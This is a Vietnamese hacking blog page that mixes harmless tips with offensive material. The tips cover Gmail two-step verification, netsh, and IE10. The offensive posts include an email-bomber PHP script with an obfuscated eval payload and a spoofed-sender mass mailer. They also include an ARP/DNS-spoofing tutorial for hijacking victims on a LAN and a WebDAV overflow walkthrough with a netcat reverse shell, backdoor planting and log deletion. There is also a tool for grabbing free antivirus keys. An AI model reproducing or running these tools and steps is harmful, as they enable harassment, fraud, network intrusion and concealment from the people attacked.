Hacking - Buzz™ * Cảm Ơn Các Bạn Đã Ghé Thăm Website *

[Tips - Tricks] Chống Hack Gmail đơn giản

Khi bị người khác biết được pass gmail của mình thì việc bạn bị mất dữ liệu hoặc bí mật bên trong hộp thư của bạn là chắc. Vậy làm sao chúng ta khắc chế được để có bảo mật cao hơn? Thực ra trong gmail có chức năng kích hoạt 2 lớp cảnh báo bảo vệ, nếu áp dụng nó thì kể cả người ta biết pass gmail của ta cũng chưa chắc đã vào được hòm thư của mình.

Thủ thuật này được tôi tóm lược như sau:

1. Bạn click vào mục Accounts settings ở góc phải của hòm thư, sau đó Google sẽ chuyển giao diện đến trang thiết lập chung cho tài khoản Google Accounts.

Tại thẻ Security, mục Using 2-step verification bạn click chọn nút Edit để tiến hành kích hoạt chức năng chứng thực hai lớp.



2. Sau đó Google sẽ chuyển đến các trang giới thiệu về tính năng bảo mật này. Bạn tiếp tục click See how it works! và Start setup để chuyển sang bước cài đặt mã chứng thực trên thiết bị di động.



3. Tiếp theo bạn nhập số điện thoại và chọn cách nhận mã chứng thực qua tin nhắn (text messages) hay cuộc gọi thoại (voice call – ở đây bạn sẽ nhận được một cuộc gọi tự động đọc cho bạn mã xác nhận băng tiếng Anh). Bạn nên chọn hình thức SMS và nhấn Send code. Sau vài giây hệ thống sẽ gửi vào điện thoại của bạn mã số đăng ký.




Bạn tiếp tục dùng mã số này để nhập vào ô trống trong phần Type the code you receive in the phone message, and click Verify. Hoàn tất công đoạn bạn nhấn Verify để xác nhận sử dụng số điện thoại di động trên để nhận mã chứng thực đăng nhập từ Google.
Sau bước này bạn có thể yên tâm vì hòm thư Gmail của mình đã được trang bị 2 tầng bảo vệ.
Chúc các bạn thành công!
Nguồn Tài Liệu: Sưu Tầm

Xem Thêm

 

[Tutorial] Đặt địa chỉ IP cho card mạng bằng dòng lệnh trong Windows

Khi làm việc trong môi trường Windows, hầu hết các tác vụ bạn đều có thể thực hiện thông qua giao diện đồ họa. Phải công nhận rằng môi trường đồ họa rất trực quan, giúp giảm bớt rất nhiều thời gian để hoàn thành tác vụ. Nhưng đôi khi chỉ cần vài thao tác gõ lệnh đơn giản bạn đã có thể hoàn thành tác vụ một cách nhanh chóng và dễ dàng hơn so với việc phải “kinh qua” các cửa sổ rườm rà :).
Bài viết này cung cấp cho các bạn cách thức thiết lập địa chỉ IP cho card mạng từ môi trường dòng lệnh trong Windows (XP/Vista/Win7).

Các bước cụ thể như sau:
B1: Chạy chương trình cmd.exe (trình xử lý dòng lệnh trong Windows) với quyền Admin (vì công việc cấu hình TCP/IP yêu cầu đặc quyền quản trị)
  • Trong WinXP, đăng nhập bằng tài khoản thuộc nhóm Administrator rồi vào Run -> cmd -> nhấn Enter.
  • Trong Vista/Win7, nhấn nút Start -> gõ cmd vào ô tìm kiếm (để ý tên cmd đang được tô sáng) -> nhấn đồng thời Ctrl + Shift + Enter -> nếu User Account Control (UAC) đang được bật, bạn chọn Yes hoặc cung cấp Password của 1 người dùng thuộc nhóm Administrator tại hôp thoại UAC.
  • Nếu thành công bạn sẽ thấy cửa sổ cmd hiện ra với thanh tiêu đề bắt đầu bằng Administrator:…
B2: Thiết lập TCP/IP bằng dòng lệnh
Trong cửa sổ cmd chạy với quyền Admin vừa hiện ra:
  • Để cấu hình IP động: nhận các thiết lập TCP/IP một cách tự động từ DHCP Server, bạn gõ 2 lệnh sau:
netsh interface ip set address Name_of_Network_Interface dhcp
netsh interface ip set dnsservers Name_of_Network_Interface dhcp
  • Để cấu hình IP tĩnh: tự tay thiết lập TCP/IP cho card mạng (gồm IP Address, Subnet Mask, Default Gateway, DNS Server), và những thiết lập này không bao giờ thay đổi cho tới khi bạn thay đổi chúng thì bạn gõ 2 lệnh sau:
netsh interface ip set address Name_of_Network_Interface static IP_Address Subnet_Mask Default_Gateway
netsh interface ip set dnsservers Name_of_Network_Interface static IP_DNSServer
*Lưu ý:
- Name_of_Network_Interface: thay bằng tên của kết nối mạng mà bạn muốn thiết lập TCP/IP cho nó. Nếu tên này chứa khoảng trắng bạn cần đặt nó trong 2 dấu nháy kép (“…”). VD:

Trong hình trên thì MyLAN là tên của giao tiếp mạng sử dụng kết nối có dây (LAN), còn Wireless LAN là tên của giao tiếp mạng sử dụng kết nối không dây (WLAN). Nên bạn thay:
+ Name_of_Network_Interface = MyLAN
hoặc
+ Name_of_Network_Interface = “Wireless LAN”
  • IP_Address: địa chỉ IP gán cho giao tiếp mạng.
  • Subnet_Mask: giá trị mask tương ứng với IP_Address trên.
  • Default_Gateway: địa chỉ IP của Gateway (cần thiết nếu bạn muốn truyền thông với các máy không nằm trong cùng mạng với mình).
  • IP_DNSServer: địa chỉ IP của DNS Server làm nhiệm vụ phân giải tên miền.

Xem Thêm

 

Thủ thuật kiểm tra link thật của các shortlink nhanh chóng

Hiện có rất nhiều dịch vụ rút gọn link (shortlink), thường thấy như goo.gl, tinyurl.com, bit.ly, tiny.cc… Việc rút gọn link giúp cho các liên kết dài dòng được rút lại rất gọn, thuận lợi cho việc chia sẻ chúng với mọi người. Một số dịch vụ rút gọn link cung câp một số tính năng rất hữu ích như thống kê lượng người click, số click này đến từ website nào, đất nước nào… Đó là ưu điểm của việc rút gọn link, nhưng có trường hợp một số kẻ xấu lợi dụng các shortlink để link tới các website có nội dung không tốt hay các đến các website có chứa mã độc nhằm lấy cắp thông tin người dùng. Việc biết trước liên kết thực sự một shortlink là việc làm cần thiết.


Sử dụng IDM

Bạn có thể biết trước link thật một shortlink rất dễ dàng bằng chương trình tăng tốc download quen thuộc IDM.



1-3199f

2-3199f

Cách sử dụng Decryptlinks rất đơn giản. Đầu tiên, Ban truy cập địa chỉ http://www.decryptlinks.com,  paste link rút gọn vào ô decrypt rồi nhấn Decrypt, ít giây sau ban sẽ nhận được link thật phía dưới. Decryptlinks cung cấp thêm một số thông tin về website đó chẳng hạn như title, description, keyword, trust level, screenshot.

4-3199f

Ngoài ra, Decryptlinks còn cung cấp thêm add-on cho Firefox giúp việc kiểm tra shortlink tiện lợi, nhanh chóng hơn. Bạn nhấn vào chữ Firefox Addon trên menu bar để cài addon này. Addon này sẽ được tích hợp vào thanh tìm kiếm bên trái Firefox, bạn chỉ việc chọn biểu tượng search Decrypt Short Links, dán link vào rồi Enter.

Sử dụng Unshorten.

Cũng tương tự như Decryptlinks, Unshorten cung cấp khả năng hiện link thật của nhiều dịch vụ shortlink. Trong kết quả trả về, Unshorten đưa ra một số cảnh báo bảo mật về shortlink đó thông qua dịch vụ Web of Trust, các thông tin này bao gồm

5-3199f
Trustworthiness: mức độ tin cậy shortlink.
Vendor reliability: mức độ tin cậy của nhà cung cấp.
Privacy: mức độ riêng tư.
Child safety: độ an toàn cho trẻ em.

Hiện tại, Unshorten còn cung cấp extension cho trình duyệt Chrome và Firefox, bạn tải extension này về tại đây.

6-3199f

Sau khi cài đặt thành công, Unshorten sẽ được thêm vào menu ngữ cảnh của trình duyệt, muốn kiểm tra shortlink nào chỉ việc phải chuột vào link đó, chọn Unshorten this link…

Xem Thêm

 

Email Bomber aka Mass Mailer

Email Bomber aka Mass Mailer | Juno_okyo's Blog
http://pastebin.com/qegBLu97

<?php
eval(gzinflate(base64_decode(strrev(str_rot13('==jSkm93x3+exhvVPiR/chhnrCbvIkgBmg088wmXyuwj9gIGXqsKPlEulq5Wiz1ANxIJWnlowW3Nv6LsIzSMTtIe3rCsFwcKK8T8iOAERam9MfHRtjYfKJV8SDrR5WdZnUvy+C/jUyumTZ/6EKiGe19wNi3JCZeGY0mhOAeGG0mhokc2bgNBIwurqwJmJQ84cl6iy305wgfm6BRMUvGlElW0GeWnH4MzcgipYsLsAn+kDvaiTPyKYwwFM21IfcGfwoD+zvmtfUhXvkHypI7BHJeB0qPzcHnh0ejhF9qvPwdd/8xdNezLlECymzMgF5foHQDZTrP2VoaTOlrROu1FOPYEtHTu4vXt8UPkzxuZxgSJZKElZuPPHuy0wtczwfYJYQ+0hmQQs/yY/87eSlxr4hUa5+AZmLGqCjDc48lr/iEnzlNmtES64P/0n4Bkne2haOaSennfRRVREdb/3KVSNW4oYWMw')))));
?>
<body bgcolor="black">
  <div style="color:white;font-size:50px;" align="center">EMAIL<img src="http://s8.postimage.org/nm4utglzl/bomb.png" />BOMBER</div>
  <br />
            <form method="GET">
                <input type="hidden" name="bomb" />
                <input type="hidden" name="mailbomb" />
                <table id="margins" style="width:100%;">
                    <tr>
                        <td style="width:30%;color:white;">
                            To
                        </td>
                        <td>
                            <input name="to" value="victim@domain.com" />
                        </td>
                    </tr>
     <tr>
                    <td style="width:30%;color:white;">
        Display name:
      </td>
          <td>  
            <input name="display" value="Display name here">
       </td>  
                    <tr>
                        <td style="width:30%;color:white">
                            Subject
                        </td>
                        <td>
                            <input type="text"  name="subject" value="Prototype here!"/>
                        </td>
                    </tr>
                     <tr>
                        <td style="width:30%;color:white;">
                            how many times  
                        </td>
                        <td>
                            <input  name="times" value="100" />
                        </td>
                    </tr>
          
                    <tr>
                        <td style="width:30%;color:white;">
                            
                            for less spam
                            
                        </td>
                        <td>
                        
                            <input type="checkbox" name="padding"/>
                              
                        </td>
                    </tr>
                    <br />
     <tr>
                        <td colspan="2">
                            <textarea name="message" cols="90" rows="10" class="box">YOUR MESSAGE HERE!!!!
       ~PROTOTYPE
       </textarea>
                        </td>
                    </tr>
                    
                    
                    <tr>
                        <td rowspan="2">
                            <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="    Bomb!  "/>
                        </td>
                    </tr>
                </table>            
            </form>  
         </body>

Xem Thêm

 

Anonymous or Fake Mailer

Anonymous or Fake Mailer | Juno_okyo's Blog
Finally an Anonymous Mailer Script that actually works....
Password - prototype


http://pastebin.com/Sng6eWxa
<?php

@session_start();

@set_time_limit(0);

//PASSWORD CONFIGURATION

@$pass = $_POST['pass'];

$chk_login = true;

$password = "prototype";

//END CONFIGURATION

if($pass == $password)

{

$_SESSION['nst'] = "$pass";

}

if($chk_login == true)

{

if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)

{

die("

 <title>.Mass Mailer</title>

 <center>

 <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>

 <tr><td valign=middle align=center>

 <table width=100 bgcolor=black border=6 bordercolor=#444444>

   <tr><td>

 <font size=1 face=verdana><center>

 <b></font></a><br></b>

 </center>

 <form method=post>

 <font size=1 face=verdana

color=red><strong><center>Mailer</center></strong><br>

 <input type=password name=pass size=30>

 </form>

 <b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>

 <b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>

 <b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."

 </td></tr></table>

 </td></tr></table>

 ");

}

}

if(isset($_POST['action'] ) ){

$action=$_POST['action'];

$message=$_POST['message'];

$emaillist=$_POST['emaillist'];

$from=$_POST['from'];

$replyto=$_POST['replyto'];

$subject=$_POST['subject'];

$realname=$_POST['realname'];

$file_name=$_POST['file'];

$contenttype=$_POST['contenttype'];

       $message = urlencode($message);

       $message = ereg_replace("%5C%22", "%22", $message);

       $message = urldecode($message);

       $message = stripslashes($message);

       $subject = stripslashes($subject);

}

?>

<html>

<head>

<title>.:: mass mailer ::.</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">

<!--

.style1 {

       font-family: Geneva, Arial, Helvetica, sans-serif;

       font-size: 12px;

}

-->

</style>

<style type="text/css">

<!--

.style1 {

       font-size: 20px;

       font-family: Geneva, Arial, Helvetica, sans-serif;

}

body {

   background-color: #000000;

}

.style2 {font-family: Georgia, "Times New Roman", Times, serif}

.style3 {

   color: #FF0000;

   font-weight: bold;

}

.style4 {color: #999999}

-->

</style>

</head>

<body text="#ffffff">

<span class="style1">

<center><br>

 <SPAN lang=ar-sa><FONT style="FONT-SIZE: 70pt"

face=Webdings

color=#ff0000><a href=http://www.hackthedevil.blogspot.in/>!</a></FONT></SPAN></FONT></br>

</center>

<br></span></p>

<form name="form1" method="post" action="" enctype="multipart/form-data">

       <input type="hidden" name="action" value="send">

       <br>

 <table width="100%" border="0">

   <tr>

     <td width="10%">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Email:</font></div>

     </td>

     <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,

sans-serif">

       <input type="text" name="from" value="<? print $from; ?>"

size="30">

       </font></td>

     <td width="31%">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Name:</font></div>

     </td>

     <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,

sans-serif">

       <input type="text" name="realname" value="<? print $realname;

?>" size="30">

       </font></td>

   </tr>

   <tr>

     <td width="10%">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Reply:</font></div>

     </td>

     <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,

sans-serif">

       <input type="text" name="replyto" value="<? print $replyto;

?>" size="30">

       </font></td>

     <td width="31%">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Attach

         File:</font></div>

     </td>

     <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,

sans-serif">

       <input type="file" name="file" size="30">

       </font></td>

   </tr>

   <tr>

     <td width="10%">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Subject:</font></div>

     </td>

     <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,

sans-serif">

       <input type="text" name="subject" value="<? print $subject;

?>" size="66">

       </font></td>

   </tr>

   <tr>

     <td width="10%" valign="top">

       <div align="right"><font size="-3" face="Verdana, Arial,

Helvetica, sans-serif">Mail:</font></div>

     </td>

     <td width="18%" valign="top"><font size="-3" face="Verdana,

Arial, Helvetica,

sans-serif">

       <textarea name="message" cols="50" rows="10"><? print

$message; ?></textarea>

       <br>

       <input type="radio" name="contenttype" value="plain">

       Text

       <input name="contenttype" type="radio" value="html" checked>

       HTML

       <input type="submit" value="BomB WellA">

       </font></td>

     <td width="31%" valign="top">

       <div align="right">

         <font face="Verdana, Arial,

Helvetica, sans-serif" size="-3">Mail  to:</font></div>

     </td>

     <td width="41%" valign="top"><font size="-3" face="Verdana,

Arial, Helvetica, sans-serif">

       <textarea name="emaillist" cols="30" rows="10"><? print

$emaillist; ?></textarea></font></td>

   </tr>

 </table>

</form>

<?

if ($action){

       if (!$from && !$subject && !$message && !$emaillist){

       print "Please complete all fields before sending your message.";

       exit;

   }

   $allemails = split("\n", $emaillist);

           $numemails = count($allemails);

         for($x=0; $x<$numemails; $x++){

               $to = $allemails[$x];

               if ($to){

               $to = ereg_replace(" ", "", $to);

               $message = ereg_replace("&email&", $to, $message);

               $subject = ereg_replace("&email&", $to, $subject);

               print " $to.......";

               flush();

               $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";

               $header .= "MIME-Version: 1.0\r\n";

           If ($file_name) $header .= "Content-Type: multipart/mixed;

boundary=$uid\r\n";

             If ($file_name) $header .= "--$uid\r\n";

               $header .= "Content-Type: text/$contenttype\r\n";

               $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";

               $header .= "$message\r\n";

           If ($file_name) $header .= "--$uid\r\n";

           If ($file_name) $header .= "Content-Type: $file_type;

name=\"$file_name\"\r\n";

           If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";

           If ($file_name) $header .= "Content-Disposition:

attachment; filename=\"$file_name\"\r\n\r\n";

           If ($file_name) $header .= "$content\r\n";

           If ($file_name) $header .= "--$uid--";

               mail($to, $subject, "", $header);

               print "Fucked Successfully :P<br>";

               flush();

               }

               }

}

?>

<style type="text/css">

<!--

.style1 {

   font-size: 20px;

   font-family: Geneva, Arial, Helvetica, sans-serif;

}

-->

</style><center>

<p class="style1 style2 style3 style4"><p class="style1">PHP Mailer<br>

 &copy BY PROTOTYPE<br>

     </p>  </p>

</center>

<?php

if(isset($_POST['action']) && $numemails !==0 ){echo

"<script>alert('Sending Completed\\r\\nTotal Email

$numemails\\r\\n-Shout Lastborn and Hustle On!');

</script>";}

?>

</body>

</html>

Xem Thêm

 

Thủ thuật hay cho Internet Explorer 10

Nếu bạn truy cập thông qua Start Screen, trình duyệt IE 10 sẽ rút gọn xuống cung cấp tối đa không gian để người dùng duyệt web và vị trí của các nút và thanh địa sẽ hiển thị ở bên dưới cùng của màn hình (nơi mà người dùng thường ít đọc). Đó là một cách tiếp cận mới hấp dẫn, nhưng IE 10 rõ ràng là vần còn thiếu nhiều tính năng và các tùy chọn khi so với các đối thủ khác.

Trong thực tế, bạn có thể nghĩ rằng IE 10 không thể làm gì khác hơn là duyệt web. Tuy nhiên bài viết dưới đây sẽ đưa ra 5 thủ thuật hay cho người dùng khai thác và tối ưu hóa IE 10 theo cách riêng của mình.

Thay đổi công cụ tìm kiếm mặc định

Những số liệu gần đây đã chỉ ra rằng thị phần của Bing đang phát triển, nhưng nếu bạn vẫn thích sử dụng Google để tìm kiếm, bạn có thể cấu hình lại cho Internet Explorer 10 (IE 10) trong Windows 8 theo cách sau đây.

Kích hoạt IE 10 trong chế độ desktop và kích chọn biểu tượng bánh răng (Settings) ở góc trên cùng bên phải. Trong menu xổ xuống bạn chọn Manage add-ons.



Trong cửa sổ mới xuất hiện, bạn chọn mục Search Providerstrong khung Add-on Types ở bên trái, bạn sẽ thấy Bing được liệt kê riêng và chọn làm công cụ tìm kiếm mặc định.



Tại đây, bạn nhấp vào liên kết Find more search providers… ở góc dưới cùng bên trái. Cửa sổ IE 10 mới sẽ mở ra và truy cập đến Internet Explorer Gallery, tại mục Search Providers. Bạn bấm chọn công cụ tìm kiếm ưa thích của mình. Trong ví dụ của tôi, tôi đã chọn Google là công cụ tìm kiếm mặc định.




Sau khi lựa chọn xong, bạn bấm nút Add to Internet Explorer. Một cửa sổ xác nhận sẽ xuất hiện, bạn kích vào tùy chọn Make this my default search provider để thiết lập công cụ tìm kiếm bạn vừa chọn làm dịch vụ tìm kiếm mặc định. Sau cùng bấm nút Add để áp dụng.

Pin và Favourites

Từ cái nhìn đầu tiên, IE 10 sẽ không xuất hiện nút Favourites/Star để người dùng lựa lại danh sách các trang web yêu thích của mình. Lý do cho điều này là rất đơn giản, hiện nay có hai cách để thêm một trang web vào bookmarks của bạn.


Trong Windows 8, bạn có 2 lựa chọn với tính năng bookmarks và một loạt các shortcuts từ Modern UI (trước đây gọi là Metro) Start Screen được biết đến với tính năng Pin. Internet Explorer 10 có một nút Pin, được tìm thấy ở bên phải của thanh Address. Bằng cách nhấp vào nút này, bạn có thể thêm các trang web ưa thích của bạn vào Favourites hoặc Pin ra Start Screen với hai tùy chọn là Add to favouritesvà Pin to Start.

Truy cập trang web yêu thích và Internet History


Danh sách Favourites và lịch sử trình duyệt được chia sẻ giữa hai phiên bản của IE10 trên Windows 8. Người dùng có thể truy cập vào hai lựa chọn trên theo nhiều cách khác nhau tùy thuộc vào cách sử dụng của bạn.




Nếu bạn đang sử dụng ứng dụng EI 10 trong chế độ Modern UI, danh sách trang web ưa thích có thể được xem bằng cách nhấn vào thanh địa chỉ hoặc nhấn tổ hợp phím Alt + D.Lịch sử duyệt web sẽ không được hiển thị khi sử dụng trình duyệt trong giao diện Modern UI này mà bạn chỉ có thể truy cập thông qua phiên bản desktop.

Khi sử dụng IE 10 trong chế độ desktop, bạn có thể truy cập vào danh sách trang web yêu thích bằng cách nhấp vào biểu tượng ngôi sao ở góc trên bên phải của cửa sổ trình duyệt hoặc bằng cách nhấn tổ hợp phím Alt + C.Thao tác này sẽ kích hoạt Favorites, Feeds và History Center, trong đó lịch sử duyệt web có thể được truy cập từ thẻ History.

Add-on cho Internet Explorer 10

Người dùng IE 10 sẽ phải lưu ý rằng phiên bản ứng dụng IE 10 trong giao diện mới Modern UI sẽ không hỗ trợ cho Add-on. Thay vào đó, người dùng phải cài đặt và sử dụng các Add-on từ phiên bản IE 10 trong chế độ desktop.




Để thực hiện, bạn chuyển sang chế độ desktop, khởi động trình duyệt và bấm vào biểu tượng bánh xe ở góc trên cùng bên phải của thanh Address. Trong menu xuất hiện bạn chọn Manage add-on, trong khung Add-on Types ở bên trái, rồi tìm các Add-on (hay còn gọi là plugin) mà bạn muốn sử dụng. Thông qua màn hình này bạn có thể kích hoạt, vô hiệu hóa, hoặc loại bỏ các add-on không cần thiết.

Chặn các trang web yêu cầu vị trí của bạn



Từ Modern UI, bạn kích hoạt ứng dụng IE lên và bấm tổ hợp phím Win + C hoặc bấm vào cạnh phải của màn hình để mở Charms Bar. Nhấp vào mục Settings > Internet Options, phía dưới mụcPermissions, bạn sẽ thấy mục Ask for location , tại đây bạn hãy chuyển sang chế độ On để trả về thiết lập theo mặc định giúp vô hiệu hóa tính năng trên.

Cũng lưu ý tùy chọn Clear bên dưới, cho phép bạn ngăn chặn các trang web mà bạn đã từng chia sẻ vị trí của bạn với vị trí bạn.

Tham khảo XHTT

Xem Thêm

 

Thủ thuật phá phách trong mạng LAN

Chuẩn bị :
_ Backtrack 5 R3 (cái này cài lên máy ảo cho dễ xài.

_ Trên windows các bạn có thể dủng cain & abel để làm điều tương tự nhưng có thể ko linh động bằng
Link download BT : http://www.backtrack-linux.org/downloads/

_ Kết nối mạng LAN (tất nhiên )
_ Victim (cái này hơi thừa )

Phương pháp:

_Phương pháp là mình sử dụng có tên là Man-in-the-middle (MITM), phương pháp này rất hữu dụng và nguy hiểm cho người khác nếu attacker sử dụng giỏi. Bạn có thể :

+ Lấy được thông tin gửi đi từ máy victim (ID:pass, cookie, URL...)
+ Kiểm soát toàn bộ về mạng của victim, nói chung là ta làm chủ mạng.
Trong bài này mình sẽ hướng dẫn cách redirect mạng victim

Giới thiệu về MITM:

Trong bài viết này giả sử ta có 1 mạng LAN với :

Router ( IP:192.168.0.1)
Attacker ( IP:192.168.0.117)
Victim ( IP:192.168.0.104)

Lưu ý : các bạn muốn tìm được IP của victim thì sử dụng các chương trình scan mạng sẽ thấy hoặc sử dụng Nmap có sẵn của Backtrack ( hướng dẫn ở cuối bài )

Nguyên lý ở đây là ta sẽ mạo danh thành :
+ Đồi với máy victim : ta giả làm router
+ Đối với router : ta giả làm máy victim
Sơ đồ :
Bình thường :

Router <==> Victim
/\
||
||
\ /
Attacker

MITM:

Router <==> Attacker <==> Victim

Thực hiện:

Toàn bộ các bước sau đều thực hiện trong Terminal của Backtrack !!!

Đầu tiên ta port forward IP để không DOS mạng LAN do sự cố ( cái này mình chưa bị lần nào nhưng cứ cẩn thận vẫn hơn)

Code:



Mã:
echo 1 > /proc/sys/net/ipv4/ip_forward

[Hình: 2.png]

Sau đó ta gõ :

+ Trường hợp 1 ( biết được IP victim và nhắm tới chỉ 1 victim đó thôi ):

Code:

Mã:
arpspoof -i <interface> -t <victim ip> <router ip>

[Hình: 3.png]

mở terminal khác và gõ :

Code:

Mã:
arpspoof -i <interface> -t <router ip> <victim ip>

[Hình: 4.png]

+ Trường hợp 2 ( nhắm đến toàn mạng ):

Mã:
arpspoof -i <interface> <router ip>

Trường hợp 2 mọi người nhớ cẩn thận nếu như nhiều người trong mạng quá có thể gây DOS.

Redirect :

Sau khi hoàn thành bước MITM ta tiếp tục đến phần phá phách :

Mình sẽ sử dụng phương pháp DNS Spoofing để redirect victim qua những web site do ta định sẵn :

Đầu tiên ta tạo 1 file txt, trong đó ta gõ theo cú pháp :

<ip> <website>

với <ip> là IP của website mà ta muốn redirect victim đến, <website> là những website mà khi victim truy cập sẽ bị redirect sang web của ta.
Ví dụ:
127.0.0.1 www.google.com ( redirect vào localhost )
-hoặc-
74.125.224.46 www.facebook.com ( khi victim vào facebook.com sẽ bị chuyển qua google.com)

ta có thể sử dụng dấu * như 1 cách "bao gồm toàn bộ", chẳng hạn:

74.125.224.46 www.*.com (toàn bộ trang web bắt đầu bằng www và kết thúc bằng .com sẽ bị chuyển hướng)

Sau khi ta tạo file text, ta mở Terminal khác và gõ :

Code:

[code]dnsspoof -i <interface> -f <đường dẫn đến file txt mới tạo>

[Hình: 6.png]

Và sau đó ta ngồi chờ và xem kết quả.
<<----KẾT THÚC---->>

<interface> : là card mạng sử dụng(thông thường là eth0 hoặc wlan0 nếu như sử dụng wifi). Các bạn có thể check với câu lệnh:
Code:

ifconfig

[Hình: 1.png]

Hướng dẫn Scan IP:

Bạn mở Terminal lên và gõ :
Code:

Mã:
nmap -T4 -O <ip>/24

Trong đó:
-T4 : chọn scan IPv4
-O : chọn scan hệ diều hành


Ví dụ: IP nhà mình bắt đầu bằng 192.168.0.xxx thì ta gõ :
Code:

Mã:
nmap -T4 -O 192.168.0.0/24

lưu ý là ta gõ số 0 ở bit cuối cùng của IP, thay cho xxx. "/24" là prefix, cứ gõ nó vào dể scan toàn bộ mạng.

Kết quả là bạn sẽ nhận được 1 list IP trong mạng và hệ điều hành, nếu scan được.


Cách hóa giải khi làm xong :

Phía Attacker:
Ở mỗi Terminal bấm Ctrl+C để terminate, chương trình sẽ tự động set lại các giá trị.

Phía Victim:
Đợi 5 phút
-hoặc-
Start-Run-Cmd :
Code:

ipconfig/flushdns




<//-----@|-Update-|@-----\\>

Hướng dẫn config card mạng cho Virtual Box để sử dụng ==> Phải đọc<== (lý do là nếu không config mà để mặc định thì khi tấn công máy victim sẽ mất kết nối internet):

[Hình: Screenshot+%282%29.png]

Chọn Setting

[Hình: Screenshot+%283%29.png]

Nhấp vào thẻ Network
Ở mục "Attach to :" chọn "Bridged Adapter" rồi chọn card mạng đang sử dụng.

[Hình: Screenshot+%284%29.png]

<<~~@\\_Update_//@~~>>

Link download Backtrack 5 R3 : http://www.backtrack-linux.org/downloads

Xem Thêm

 

Code PHP - lấy địa chỉ IP của người dùng


 

Code PHP, lấy địa chỉ IP của người dùng, Get Remote IP Address in PHP, get user ip address using php

Đoạn code PHP này sẽ trả về IP đang gửi request tới server.
 <?php
function getRemoteIPAddress(){
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    return $ip;
}
  
/* If your visitor comes from proxy server you have use another function
to get a real IP address: */

function getRealIPAddress(){  
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        //check ip from share internet
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        //to check ip is pass from proxy
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
?> 

Xem Thêm

 

Share Thủ Thuật Lấy Key Nis


I. Giới thiệu.
-X-Men Company đả vắn bóng một thời gian dài sao khi tung ra bản vá lổi Unicode Connection Controls - 1.0.26.
-X-Men Company chính thức giản tán vì những khó khăn. Có lẻ đây là một tin buồn.
-XHIntell là tên cho một khởi đầu mới. Sản phẩm đầu tiên của XHI là XHI Key

II. Sản phẩm
-Mục đích dùng để lấy Key NIS free từ server. Chỉ mất vài giây.

III. Cách dùng
1. Chạy.

2. Nhấn vào Here. Skip ad....
3. Lấy Key và dùng.
http://www.mediafire.com/?ee4je662d7e4w9b
Đã test thành công và được key 118 days nhé , mỗi ip get được 1 key thui nên các bạn đừng có ham hố nhé
Thanks

Xem Thêm

 

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 9



50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :

_ Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
_ Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
_ Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :

CODE
C:\>nx -vv -l -p 53
listening on [any] 53 ...


Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .

+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .

c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]

VD :

CODE
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.


+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :

CODE
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi. :mellow: :mellow: :mellow:


+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :

CODE
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0


